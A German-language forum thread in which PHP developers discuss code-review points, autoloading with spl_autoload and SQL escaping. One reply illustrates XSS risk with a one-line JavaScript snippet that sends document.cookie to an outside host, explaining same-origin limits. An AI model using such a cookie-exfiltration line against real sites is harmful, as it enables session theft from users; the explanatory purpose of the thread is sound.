menno jetzt kann ich nimma mehr einschlafen
muß in 4 Stunden eh wieder aufstehn ... lohnt sich also eh nimmer

der erste Parameter heisst $__file. Trotzdem uebergibst du in index.php5 immer wieder __LINE__.
nja, es wird sich ja nun eh viel ändern, da macht das jetzt auch nicht mehr aus

debug_backtrace() hatte ich gestern nachmittag erst kennengelernt, aber so schnell bin ich auf diese Idee noch garnicht gekommen ... danke.
Einen kleinen Error-Handler hatte gestern auch erst eingebaut ... aber wie gesagt, da ändert sich jetzt eh viel.

Hatte die letzt Stunde beim Einschlafenversuchen so viele Gedanken und neue und hoffentlich bessere Ideen im Kopf, dank euch.

Tertiaere Operatoren ($foo ? 'bar' : 'baz') sind spaerlich zu nutzen.
Och menno, dabei hatte ich mit diesem Feature gerade meinen verspielt übertriebenen Spaß gehabt.
Ihr nehmt einem aber auch jede Freude.

Das bedeutet dass es ueber eine Million Ausfuehrungspfade durch die Funktion gibt.
Cooool
OK, hierfür hatte ich ja nun auch schon bessere Ideen gewonnen.

Auch wenns der Debug-Mode ist, die direkte Ausgabe von GPC-Variablen ist ne saudumme Idee.
autsch ... gut zu wissen


So, mal sehn was sich noch alles für gute Erkenntnisse hinter den massig Links verstecken.


Oder habe ich es nun doch nicht gepeilt...
ich glaub das stimmt.

Bis auf diese Debugausgabe hab ich schon versucht/geplant alle externen Eingaben zu prüfen.

Auch noch was.
"Neuere" Browser lassen ja z.B. absichtlich keine Server(URL) übergreifenden JavaScript-Zugriffe zu.
aber so kann man etwas in den "Kontext" der fremden Seite einschmuggeln und es hätte dann da vollen Zugriff.

Zitat von himitsu:

"Neuere" Browser lassen ja z.B. absichtlich keine Server(URL) übergreifenden JavaScript-Zugriffe zu.
aber so kann man etwas in den "Kontext" der fremden Seite einschmuggeln und es hätte dann da vollen Zugriff.

Richtig - die Same-Origin-Policy. Die hat auch ihre Grenzen, und die kann man schnell umgehen:

markieren

Code:

var foo = new Img(); foo.source='http://foo.baz/'+document.cookie;

Und da geht deine Same-Origin-Policy zur Tuer raus - Bilder sind naemlich vollkommen OK. Kann sein dass manche Heuristiken das mittlerweile abgreifen, da gibts aber noch zig Wege um Content an eine andere Seite zu uebermitteln sobald man mal das JS reingekriegt hat.

Greetz
alcaeus

Gibt es eigentlich sowas wie die "Class Helper" auch für PHP ?

Also daß man Klassen aufteilen kann und sobald z.B. eine Datei "includet" wird, welche diesen "Class Helper" enthält, dann bekommen auch alle existierenden und neuen Objekte/Instanzen der Eltern-Klasse auch die neuen Methoden verpaßt.

Zitat von himitsu:

Gibt es eigentlich sowas wie die "Class Helper" auch für PHP ?

Um mal das Ergebnis einer Suche zu zitieren:

Zitat:

Class helpers are a way to extend a class without using inheritance. A class helper simply introduces a wider scope for the compiler to use when resolving identifiers. [...] Very simply, they allow you to add your own code to existing objects without requiring the source code or recompiling. The new code only has public access to the original object, so it cannot access private or protected data.

(Quelle)
Um das kurz zu beantworten: nein. Dem Himmel (oder der Hoelle, je nachdem woran man lieber glaubt) sei Dank. Ich wuesste auch nicht wozu sowas gut sein sollte.

Greetz
alcaeus

Zitat von alcaeus:

[*]Um das functions.php-Beispiel weiterzufuehren: wenn du die Funktionen logisch in Klassen kapselst und mit nem Autoloader arbeitest dann sparst du dir das unnoetige Laden von zig Funktionen. Das Parsen der PHP-Dateien kostet naemlich ohne Opcode-Cache richtig viel Zeit. Wenn dein Code nur eine von 20 Klassen braucht, wird auch nur die geladen, und dann auch erst sobald sie benoetigt wird. Guck dir hierzu mal spl_autoload() an. Da ist uebrigens noch ein Vorteil von MVC-Frameworks: diese implementieren sowas bereits

*meld*

So ganz komme ich noch nicht hinter den Autoloader. Nehmen wir an, eine beliebige Klassendatei, bspw. content.class.php schaut so aus:

zusammenfalten · markieren

PHP-Quellcode:

<?php
require_once('dbconnector.class.php');
require_once('systemcomponent.class.php');

class content extends systemcomponent {

   //values
   var $contentid = 0;
   var $creationtimestamp = 0;
   var $modifiedtimestamp = 0;
   var $contenttype = "";
   var $title = "";
   var $summary = "";
   var $category = 0;
   var $parentcontent = 0;
   var $thecontent = "";
   var $authorid = 0;
   var $requireduserlevel = 10;
   var $ispasswordprotected = false;
   var $pass = "";
   var $commentsallowed = 1;
   var $ispublished = false;
   var $fancyhash = "";
   
   //constructor
   function __construct($id) {
        }
}
?>

Davon gibt es mehrere dieser Sorte, immer nach demselben Schema aufgebaut. Dann kommt noch eine zentrale index.php, die in etwa so aussieht:

zusammenfalten · markieren

PHP-Quellcode:

<?php
setlocale (LC_ALL, 'de_DE');
/* Start Session */
session_start();
/* Define a global Var */
define('SMARTY_DIR','./libs/smarty/');

/* Require some files */
require_once('./libs/smarty/Smarty.class.php');
require_once('./libs/nbbc/nbbc.php');
require_once('./classes/users.class.php');
require_once('./classes/searchprovider.class.php');
require_once('./classes/settings.class.php');
require_once('./classes/content.class.php');
require_once('./classes/tags.class.php');
require_once('./classes/comment.class.php');
require_once('./classes/validator.class.php');
require_once('./classes/category.class.php');
require_once('./classes/statistics.class.php');

/* Create some Objects */
$smarty               = new Smarty();
$settings            = new Settings();
$currentUser          = new Users();
$nbbc               = new BBCode();
$tags               = new Tags();
$stats               = new Stats();
//[...]
?>

Angenommen, ich möchte jetzt spl_autoload(); nutzen. Wie implementiere ich das? Irgendwie steig ich da noch nicht ganz durch... Muss ich die vorhandenen Klassen um eine autoload-Methode erweitern? Muss ich einfach den Autoloader in der index.php definieren? Oder beides?

Die Hilfe wirkt hier Wunder: http://de.php.net/manual/de/function.spl-autoload.php
Guck mal in den Kommentaren da sind ein paar gute Beispiele vorhanden.

Hab ich mir schon vorher angesehen. Allerdings scheint es bei mir nicht wirklich hinzuhauen. Ich habe folgende Pfade probiert:

markieren

PHP-Quellcode:

define('CLASS_DIR', 'classes');
define('CLASS_DIR', 'classes'.DIRECTORY_DELIMITER);
define('CLASS_DIR', 'xampp\htdocs\dagi_micro\classes'.DIRECTORY_DELIMITER);

Haut nicht hin. Folgender Code kommt dabei zum Einsatz:

markieren

PHP-Quellcode:

// Add your class dir to include path
set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

// You can use this trick to make autoloader look for commonly used "My.class.php" type filenames
spl_autoload_extensions('.class.php');

// Use default autoload implementation
spl_autoload_register();

Soweit ich das verstehe, muss die Datei zumindes im Include-Pfad liegen. Nur, wie bekomme ich den dahin? Ich arbeite übrigens unter Windows mit XAMPP. Das finale System nutzt einen Debian-Server. Als Fehlermeldung bekomme ich nur, dass die Klasse "Settings" nicht gefunden werden kann.

markieren

Code:

function __autoload($Klassenname) {
  $Datei = suche_PhpDatei_in_welcher_die_Klasse_enthalten_ist($Klassenname);
  require($Datei);
}

// registriert sich automatisch, über seinen Funktionsnamen

oder besser doch

markieren

Code:

function MeinAutoKlassenlader($Klassenname) {
  // das kann auch eine statische Klassenmethode sein
  $Datei = suche_PhpDatei_in_welcher_die_Klasse_enthalten_ist($Klassenname);
  require($Datei);
}

spl_autoload_register('MeinAutoKlassenlader, true);

oder

markieren

Code:

function MeinAutoKlassenlader($Klassenname, $ListeDerRegistriertenDateiendungen) {
  // das kann auch eine statische Klassenmethode sein
  $Datei = suche_PhpDatei_in_welcher_die_Klasse_enthalten_ist($Klassenname, $ListeDerRegistriertenDateiendungen);
  require($Datei);
}

spl_autoload_register('MeinAutoKlassenlader, true);

jetzt einfach eine Klasse verwenden, welche noch nicht existiert
- zugehörige Datei wurde noch nicht geladen (require/include)

markieren

Code:

$Test = new IrgendeineKlasse();

nun wird also die registrierte Funktion aufgerufen, darin die benötigte Datei geladen und dann kann's weitergehn.

eigentlich recht nette sache


hab mir nun selber einen kleinen Autolader geschrieben

oder man verwendet halt den vordefinierten Autoloader und steuert ihn über
set_include_path, spl_autoload_extensions und Co.
Dieser nimmt z.B. den Klassennamen und versucht sich daraus einen kleichnamigen Dateinamen zu basteln
(sowas geht aber nicht, wenn die Dateien nicht wie die Klasse heißen und/oder man mehrere Klassen in einer Datei liegen hat)

Klasse "statistics" in "./classes/statistics.class.php"
= suchpfad "./classes/"
= dateiendung ".class.php"

dann kann das require_once('./classes/statistics.class.php'); weg
und auch alles, welches diesem Muster entspricht

Zitat von himitsu:

= suchpfad "./classes/"

Das war der Casus-Knaxus. Jetzt funktioniert es einwandfrei mit der default-autoload-funktion. Sehr cool. Jetzt noch PDO eingebaut, und es kann wieder weitergehen.

//Edit: Kommando zurück. Irgendwie ist der Fehler mittlerweile wieder da... Ich bin doch nicht blöd, oder?

Zitat von fkerber:

Sehe ich das richtig, dass du keine Prepared-Statements verwendest?

Gründe u.a.:
*) Besserer Schutz vor SQL-Injections

grade erst gesehn

Ja, im Code selber nutze ich sowas nicht, bzw. in einer etwas anderen Form vielleicht doch ... das ist aber alles in der Datenbankklasse integriert.

Einzig und alleine über die Feldnamen könnte man die "Schutzmaßnahmen", mittels bestimmter Prefixe absichtlich abschalten, aber von extern kommt man da nicht ran.


Ein Insert war z.B. so möglich.

markieren

Code:

function User_Set($Name, $Password, $Rights) {
  global $Config;
  $Config['DB']->Insert('UserTable', array(
    'Name'    => trim($Name),
    'Password' => $Password,
    'Rights'  => $Rights));
  return $Config['DB']->LastResult;
}

oder

markieren

Code:

return $Config['DB']->Insert('UserTable', array(
  'Name'    => trim($Name),
  'Password' => $Password,
  'Rights'  => $Rights));

oder auch sowas

markieren

Code:

if ($DB->Update('Irgendwas', array('feld' => 12345))) ...

hier würde der "feld ..."-Teil direkt übergeben
(hab halt keinen Query-Parser integriert)

markieren

Code:

if ($DB->Update('Irgendwas', 'feld = 12345')) ...
if ($DB->Update('Irgendwas', array('feld = 12345', 'x' => 0))) ...

man kann nur ein paar "grundlegende" Funktionen (mir reichen diese aber meistens aus) aufrufen, ihnen irgendwelche WHERE-, Feld- oder Daten-Listen mitgeben und dieses wird dann intern zusammengesetzt und z.B. über mysql_real_escape_string abgesichert/maskiert.